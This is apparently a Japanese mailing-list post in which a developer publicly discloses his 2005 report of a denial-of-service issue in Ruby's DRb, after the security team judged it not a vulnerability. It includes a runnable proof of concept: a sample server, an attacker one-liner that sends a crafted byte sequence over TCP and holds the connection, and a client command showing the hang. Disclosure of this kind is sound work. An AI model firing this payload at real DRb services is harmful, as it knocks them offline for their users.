以前、DRb について次のような報告を security / ruby-lang.org に
送ったのですが、これは脆弱性ではないということで脆弱性情報公
開という形では公開は行われないそうです。

そこでここに公開します。

| From: Tanaka Akira <akr / m17n.org>
| Subject: DRb DoS vulnerability
| To: security / ruby-lang.org
| Date: Mon, 04 Jul 2005 17:52:14 +0900
| Message-ID: <87zmt3vtpn.fsf / m17n.org>
| 
| DRb にも DoS 問題があるようです。
| 
| NetBSD 2.0 で、次のようにしてサーバを起動します。
| 
| server% ./ruby -rdrb/drb -e '
| class S
|   def m(n)
|     "a" * n
|   end
| end
| DRb.start_service("druby://localhost:9000", S.new)
| sleep
| '
| 
| ここで攻撃者が次のように攻撃します。
| 
| attacker% ./ruby -rsocket -e 'TCPSocket.open("localhost", 9000) {|s| s.print "\000\000\000\003\004\0100\000\000\000\005\004\010\"\006m\000\000\000\004\004\010i\006\000\000\000\a\004\010i\003\240\206\001\000\000\000\003\004\0100"; sleep }'
| 
| そうすると、クライアントが次のようにリクエストを送っても、返事がされず、
| サービスができない状態になっています。
| 
| client% ./ruby -rdrb/drb -e 'p DRbObject.new_with_uri("druby://localhost:9000").m(10)'
| 
| まぁ、たぶん write でブロックしてるわけですが。

なお、この報告はバージョンを書き忘れたのですが、送った時点で
cvs からとってきたものだったはずです。
-- 
[田中 哲][たなか あきら][Tanaka Akira]